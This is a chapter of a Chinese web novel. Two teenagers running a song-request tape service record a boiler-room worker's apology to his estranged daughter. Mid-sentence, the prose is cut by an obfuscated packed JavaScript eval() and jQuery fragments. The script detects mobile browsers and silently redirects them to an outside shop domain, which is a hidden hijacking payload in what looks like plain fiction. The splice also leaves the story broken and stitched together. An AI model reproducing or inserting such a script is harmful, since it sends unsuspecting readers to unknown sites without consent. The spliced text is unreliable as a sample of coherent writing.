那张纸条夹在点歌本中间，边角压得很平。
字不算漂亮，横平竖直，像写字的人很少写这种话，落笔时用力过了头。
我想点一首歌，给两年前没能离开的孟小舟。
周念安看了许久，抬头问：“谁放的？”
梁潮生正把录音机的电池盖扣回去，闻言凑过来看了一眼。
“没署名。”他说，“这就不符合周厂长第一条规定了。”
“我还没写不收匿名。”
“那现在写？”
周念安拿起笔，在点歌本第一页的规矩下面补了一行：
匿名可以，但必须说明送给谁，是否愿意让对方知道。
梁潮生看着她写完，笑了下：“你这本子迟早比校规厚。”
“校规要是有用，你早该被开除三次了。”
“周念安。”梁潮生把录音机往怀里一抱，“你现在说话越来越伤人了。”
“跟你学的。”
他说不过她，只好低头研究那张纸条。
纸条是从练习本上撕下来的，纸质很差，纤维粗。右下角沾着一点灰，不像粉笔灰，也不像煤灰，颜色更淡，带一点木头烧过后的脏白。
梁潮生用手指蹭了蹭，放到鼻尖闻了一下。
周念安皱眉：“你干什么？”
“闻味儿。”
“你是狗吗？”
梁潮生一顿，抬头看她：“周同学，你这句比刚才还伤人。”
“闻出来了吗？”
“柴火灰。”他说，“还混了点劣质烟味。”
周念安想了想：“厂区现在用柴火的地方不多。”
“锅炉房旁边的小修棚还用。”梁潮生把纸条叠好，“不过也可能是食堂后门。”
“去看看。”
“现在？”
“不然等它自己长腿来找我们？”
梁潮生看她一眼，乐了：“行，周厂长亲自跑业务。”
红叶照相馆到厂区锅炉房，要穿过两条窄巷。
傍晚的旧巷最热闹。谁家炒蒜苗，谁家炖带鱼，谁家小孩挨了揍，隔着窗户都能听见。楼上有人往下喊：“收衣服啦！”楼下有人回：“你裤衩子掉王婶花盆里了！”紧接着就是一阵骂。
周念安走在前面，脸上看不出表情。
梁潮生跟在后面，手里晃着那张纸条，忽然说：“你以后要是真考到省城，会不会不习惯？”
“什么？”
“那边楼房高，路也宽。可能没人隔着窗户喊裤衩子掉了。”
周念安本来不想笑，还是没忍住弯了下嘴角。
“你很遗憾？”
“有点。”梁潮生认真道，“这属于旧巷特色文化，应该保留。”
“你可以写进作文。”
“那我作文题目就叫《我与裤衩子同行》。”
周念安终于笑出声。
笑完，她自己也愣了一下。
梁潮生看着她，没像平时那样立刻抓住不放，只是把纸条塞回口袋里，低声说：“这样挺好。”
“什么？”
“没什么。”
锅炉房在厂区最里面。
红砖墙，铁皮门，门口堆着一摞劈好的木柴。旁边的小修棚亮着一盏昏黄灯泡，一个男人正蹲在地上修炉钩。烟头叼在嘴角，蓝工装肩头落了一层灰。
周念安认得他。
孟小舟的父亲，孟长河。
她以前只在厂区路上见过。孟长河话少，背有点驼，常年一身烟味和炉灰味。孟小舟出事那一年，旧巷里不少人说过闲话，说孟师傅没本事，女儿好好的机会被人弄没了，他也只会闷头烧锅炉。
这些话，周念安不爱听。
现在看见人，她忽然更不爱听了。
梁潮生走过去，把纸条递给他。
“孟叔，这个是不是您写的？”
孟长河抬头看了他一眼，又看见周念安，脸色一下僵住。
“不是。”
梁潮生点点头：“那行，我们去问食堂。”
他说走就走。
还没转身，孟长河已经开口：“等等。”
梁潮生回头。
孟长河把烟从嘴里拿下来，在地上碾灭，声音有些哑：“是我。”
周念安没有说话。
孟长河低头看着自己满是灰的手，半晌才说：“我没想让人知道。”
梁潮生靠在门边：“那您这匿名水平不太行。纸上全是锅炉房味。”
孟长河：“……”
周念安轻轻碰了下梁潮生的胳膊，示意他少说两句。
梁潮生闭嘴。
孟长河低声说：“小舟昨天回来，跟我吵了一架。她说当年我按手印的那张纸，被人改成了放弃推荐。她问我为什么不问清楚。”
他停了一下，喉咙滚动。
“我没话说。”
小修棚里很安静，只有灯泡边飞着几只小虫。
孟长河继续道：“那年她老师来家里，说要填一张家庭情况证明。我没念过几天书，也不懂那些。我就想着，学校老师不会害孩子，叫我按，我就按了。”
他扯了扯嘴角，像想笑，没笑出来。
“后来小舟没去成，天天不说话。我问她，她说不想去。我还真信了。”
周念安低下眼。
这世上很多事最疼的地方就在这里。
不是每个伤害都来自恶意。有些来自糊涂，来自怕麻烦，来自一句“我以为没事”。
孟长河搓了搓手上的灰：“我想跟她说点什么，可她一看见我就走。她妈走得早，我嘴笨，从小也没跟她说过什么好听的。”
梁潮生忽然问：“您想点什么歌？”
孟长河明显早就想好了，却又有点不好意思。
“《年轻的朋友来相会》。”他说完，咳了一声，“她以前在家总哼。说这歌听着像要往远处走。”
梁潮生看向周念安。
周念安点头：“可以录。”
“但有一条。”她又说。
孟长河抬头。
“我们不会直接放给她听。”周念安说，“我们会先问她愿不愿意听。”
孟长河愣了一下。
“她要是不愿意呢？”
“那这盘磁带就先放着。”
孟长河嘴唇动了动，最后点头：“行。”
他们就在小修棚里录。
梁潮生把录音机放在一只倒扣的木箱上，拍了两下，机器滋啦一声，竟然很给面子地转了起来。
孟长河站在录音机前，手脚都不知道往哪儿放。
梁潮生说：“孟叔，别绷着。您这样录出来像厂里安全检查。”
孟长河立刻更绷。
周念安看了梁潮生一眼，把提前撕下来的空白纸递给孟长河。
“您可以先写几句。不会写的字，可以用拼音，也可以让我代写。”
孟长河接过纸，握笔的姿势很别扭。
他写得慢，写一会儿停一会儿。有两个字不会写，梁潮生凑过去教，被周念安嫌弃笔画不对，最后换她写。
孟长河看着纸上的字，低声念了两遍。
第一次没录成。
他说到“小舟”两个字，喉咙就卡住了。
第二次也没成。
录音机里只录到他咳嗽，还有梁潮生小声嘀咕：“这段能当锅炉房环境音。”
周念安忍了忍，还是说：“梁潮生。”
“我闭嘴。”
第三次，孟长河终于说完了。
声音很粗，也很慢，句子不漂亮。
“小舟，我是爸。”
“你那年要去省里，我没问清楚，是爸糊涂。你怨我是应该的。”
“爸不会说话，也不知道还能不能补。你要是不想听，就让他们把这盘扔了。你要是愿意听，爸想跟你说，你小时候唱那首歌，爸一直记得。”
“你不是没能离开。”
“是爸那时候没送你走成。”
录到这里，他停了很久。
最后，他说：“以后你想走，爸不拦了。”
磁带停下。
小修棚里谁都没动。
梁潮生低头把磁带倒回一点，试了试音，声音有点沙，但能听清。
他把磁带装进盒子，贴上标签。
编号二。给孟小舟。是否愿意听：待问。
写完，他看了一眼周念安：“周厂长，这样行吗？”
“行。”
孟长河从口袋里摸出五毛钱。
钱皱得厉害，边角都软了。
周念安没接：“这次不收。”
孟长河愣住：“为什么？”
“第一，这不是点歌，是道歉。第二，”周念安顿了顿，“这盘不一定能送出去。”
孟长河的手停在半空。
最后，他把那五毛钱慢慢收回去。
“要是她愿意听，我再给。”
梁潮生说：“那您可得把钱存好，别涨价了拿不出来。”
孟长河愣了下，像没想到他会这么说，随即很轻地笑了一声。
他们从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697770|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
锅炉房出来时，天彻底黑了。
路过文化宫，二楼窗户亮着。
孟小舟就站在窗边。
她显然看见他们从锅炉房出来，也看见梁潮生手里的磁带盒。隔着一段距离，她没有说话。
周念安走上台阶。
梁潮生跟在她身后，难得没有插科打诨。
孟小舟开门时，脸色很冷：“你们去找我爸了？”
“他找的我们。”周念安说。
孟小舟看见磁带盒，眼神动了一下，又很快移开。
“我不听。”
“好。”
周念安答得太快，孟小舟反而愣住。
周念安把磁带放在窗台上：“你现在不听，就先放着。什么时候想听，再拿。”
孟小舟盯着她：“你不劝我？”
“这是你的声音。”周念安说，“你决定听不听。”
孟小舟忽然笑了一下，却不像高兴。
“你们还真把自己当电台了。”
梁潮生接道：“还没，设备太差。等以后有钱，先换个不刺啦的。”
孟小舟看他一眼，没怼回去。
周念安转身要走，孟小舟忽然叫住她。
“周念安。”
她停下。
孟小舟站在门里，半张脸被走廊灯照着，半张脸藏在暗处。
“今天主任说，学校会重新查当年的材料。”
“嗯。”
“可就算查清楚，也来不及了。”孟小舟声音很轻，“我已经不是两年前的我了。”
周念安看着她。
“来不及，也不等于没有用。”周念安说，“至少以后别人再拿空白证明让人按手印，会有人多问一句。”
孟小舟没有说话。
她眼睛微红，却还是很硬。
梁潮生忽然说：“再说，你才多大。二十出头说来不及，像我爸说他会修录音机一样不靠谱。”
孟小舟被他气得一抬眼：“你爸会修？”
“不会。”梁潮生说，“所以不靠谱。”
周念安没忍住，偏头笑了一下。
孟小舟也差点笑出来，硬是忍住了。
他们下楼时，文化宫门口的灯闪了两下，照得路面忽明忽暗。
周念安走了一段，忽然问：“你是不是故意逗她？”
梁潮生把手插进口袋：“你不是说不该替别人喊吗？那总得让她先喘口气。”
这句话说得很随意。
周念安却看了他一眼。
她发现梁潮生很多时候不是不懂。他只是懒得把懂说出来。
回到红叶照相馆时，韩师傅正准备关门。
见他们回来，他把钥匙往柜台上一拍。
“你俩还知道回来？小梁，你弟刚才来过，拿走了你那半个茶叶蛋。”
梁潮生一愣：“那是我的晚饭！”
韩师傅乐了：“他说哥的就是他的。”
“他真是活腻了。”
周念安把点歌本放回桌上，刚翻开，就发现里面又多了一张纸。
这次不是匿名。
字写得很大，很直，像怕别人看不见。
点给梁潮生。
歌随便。
话是：哥，茶叶蛋挺好吃的。
下面还有一行小字：
我以后自己赔钱。
梁潮生盯着那张纸。
过了几秒，他骂了一句：“梁潮平这个兔崽子。”
骂完，他把纸夹进点歌本，没有扔。
周念安看着他：“录吗？”
梁潮生把椅子拉开坐下，拿起笔，在备注那一栏写：
欠茶叶蛋一枚。
然后他抬头，笑得很淡。
“录。”他说，“歌就点《世上只有哥哥好》。”
周念安沉默。
“有这首歌吗？”
梁潮生一本正经：“现在没有，我可以现编。”
窗外旧巷灯火一盏盏亮起来。
有人喊孩子吃饭，有人拎着煤球上楼，有人的收音机里放着跑调的歌。红叶照相馆的小杂物屋里，回声点歌本摊在桌上，第二页很快被写满。
周念安低头整理纸条。
梁潮生在一旁修录音机，嘴上还在骂梁潮平偷蛋。
这一天的旧巷，终于不像昨天那么疼了。
只是他们谁也没注意到，照相馆橱窗外，有个人站了很久。
那人看着点歌本，又看了看梁潮生。
最后，把一只没有署名的信封，悄悄塞进了门缝。